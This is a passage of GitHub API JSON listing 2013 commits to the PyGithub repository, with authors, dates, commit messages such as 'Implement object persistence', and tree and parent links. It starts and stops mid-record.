CompletableGithubObject","tree":{"sha":"4c3e987d82799789d0c2586e509cea8c71e0029b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4c3e987d82799789d0c2586e509cea8c71e0029b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/020a3c9917f42d98c1761527825061d2db8352fd","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/020a3c9917f42d98c1761527825061d2db8352fd","html_url":"https://github.com/jacquev6/PyGithub/commit/020a3c9917f42d98c1761527825061d2db8352fd","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/020a3c9917f42d98c1761527825061d2db8352fd/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"e084b5138106d4ad371a69ca9519862f09c855ae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e084b5138106d4ad371a69ca9519862f09c855ae","html_url":"https://github.com/jacquev6/PyGithub/commit/e084b5138106d4ad371a69ca9519862f09c855ae"}]},{"sha":"fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T17:05:53Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T17:05:53Z"},"message":"Move the DEBUG_ON_RESPONSE call to Requester.__requestEncode","tree":{"sha":"a7fbeaacbdba31ceb21a46bedfce268411d8dfb8","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/a7fbeaacbdba31ceb21a46bedfce268411d8dfb8"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","html_url":"https://github.com/jacquev6/PyGithub/commit/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"020a3c9917f42d98c1761527825061d2db8352fd","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/020a3c9917f42d98c1761527825061d2db8352fd","html_url":"https://github.com/jacquev6/PyGithub/commit/020a3c9917f42d98c1761527825061d2db8352fd"}]},{"sha":"38b137fb37c0fdc74f8802a4184518e105db9121","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-23T23:21:41Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-23T23:21:41Z"},"message":"Fix line ending","tree":{"sha":"a4260390d7e3d478aed05009657f4632d25dad84","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/a4260390d7e3d478aed05009657f4632d25dad84"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/38b137fb37c0fdc74f8802a4184518e105db9121","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121","html_url":"https://github.com/jacquev6/PyGithub/commit/38b137fb37c0fdc74f8802a4184518e105db9121","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","html_url":"https://github.com/jacquev6/PyGithub/commit/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84"}]},{"sha":"3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-04T21:28:44Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-04T21:28:44Z"},"message":"Implement object persistence\n\nThis follows my proposal for #193.\nLargely inspired by AKFish's work.","tree":{"sha":"b6b62d90fe1b65d103b74fe11a8f01f3ddd1851a","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/b6b62d90fe1b65d103b74fe11a8f01f3ddd1851a"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","html_url":"https://github.com/jacquev6/PyGithub/commit/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"38b137fb37c0fdc74f8802a4184518e105db9121","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121","html_url":"https://github.com/jacquev6/PyGithub/commit/38b137fb37c0fdc74f8802a4184518e105db9121"}]},{"sha":"c412d49c9fd28406156dff664a1f848da1e95d0b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T15:50:57Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T15:50:57Z"},"message":"Adapt to Python 2.5","tree":{"sha":"6c7ed56808fdd9a1a17b38f397fafd0e0cf1ae2e","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6c7ed56808fdd9a1a17b38f397fafd0e0cf1ae2e"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/c412d49c9fd28406156dff664a1f848da1e95d0b","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c412d49c9fd28406156dff664a1f848da1e95d0b","html_url":"https://github.com/jacquev6/PyGithub/commit/c412d49c9fd28406156dff664a1f848da1e95d0b","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c412d49c9fd28406156dff664a1f848da1e95d0b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","html_url":"https://github.com/jacquev6/PyGithub/commit/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4"}]},{"sha":"6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T15:53:31Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T15:53:31Z"},"message":"Adapt to Python 2.5 (again:))","tree":{"sha":"7007556096f9edd3ecd48dfe302748ba9d238273","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/7007556096f9edd3ecd48dfe302748ba9d238273"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","html_url":"https://github.com/jacquev6/PyGithub/commit/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"c412d49c9fd28406156dff664a1f848da1e95d0b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c412d49c9fd28406156dff664a1f848da1e95d0b","html_url":"https://github.com/jacquev6/PyGithub/commit/c412d49c9fd28406156dff664a1f848da1e95d0b"}]},{"sha":"d18d1b0354a5c7de920b30ef1e5950a5479dd866","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:01:03Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:01:03Z"},"message":"Update readme","tree":{"sha":"140c1b06794ac9a8130cf3612c604c83f973358f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/140c1b06794ac9a8130cf3612c604c83f973358f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/d18d1b0354a5c7de920b30ef1e5950a5479dd866","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d18d1b0354a5c7de920b30ef1e5950a5479dd866","html_url":"https://github.com/jacquev6/PyGithub/commit/d18d1b0354a5c7de920b30ef1e5950a5479dd866","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d18d1b0354a5c7de920b30ef1e5950a5479dd866/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","html_url":"https://github.com/jacquev6/PyGithub/commit/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69"}]},{"sha":"2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:04:49Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:04:49Z"},"message":"Say thank you to stargazers","tree":{"sha":"6c1c7aadddfcbc9a65fae7d164a9432ab3ce452a","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6c1c7aadddfcbc9a65fae7d164a9432ab3ce452a"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","html_url":"https://github.com/jacquev6/PyGithub/commit/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","html_url":"https://github.com/jacquev6/PyGithub/commit/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008"}]},{"sha":"ab626114db1c798e9269daed295d1e79c36879bb","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:21:07Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:21:07Z"},"message":"Merge branch 'topic/ConditionalRequest' into develop\n\nConflicts:\n\tREADME.rst","tree":{"sha":"c15e38407a8fc7f086a7bf48e02aa5ca7be44e62","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/c15e38407a8fc7f086a7bf48e02aa5ca7be44e62"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ab626114db1c798e9269daed295d1e79c36879bb","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ab626114db1c798e9269daed295d1e79c36879bb","html_url":"https://github.com/jacquev6/PyGithub/commit/ab626114db1c798e9269daed295d1e79c36879bb","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ab626114db1c798e9269daed295d1e79c36879bb/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5","html_url":"https://github.com/jacquev6/PyGithub/commit/2e3ab5cc9295c4e3c3c6a0d1c179a49df0db96e5"},{"sha":"d18d1b0354a5c7de920b30ef1e5950a5479dd866","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d18d1b0354a5c7de920b30ef1e5950a5479dd866","html_url":"https://github.com/jacquev6/PyGithub/commit/d18d1b0354a5c7de920b30ef1e5950a5479dd866"}]},{"sha":"1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:23:47Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-09-05T16:23:47Z"},"message":"Don't assume there is a 'message' field in case of error","tree":{"sha":"1eaf1c66ede16d89d6067a0c23f23f93abf83c5e","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/1eaf1c66ede16d89d6067a0c23f23f93abf83c5e"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","html_url":"https://github.com/jacquev6/PyGithub/commit/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.g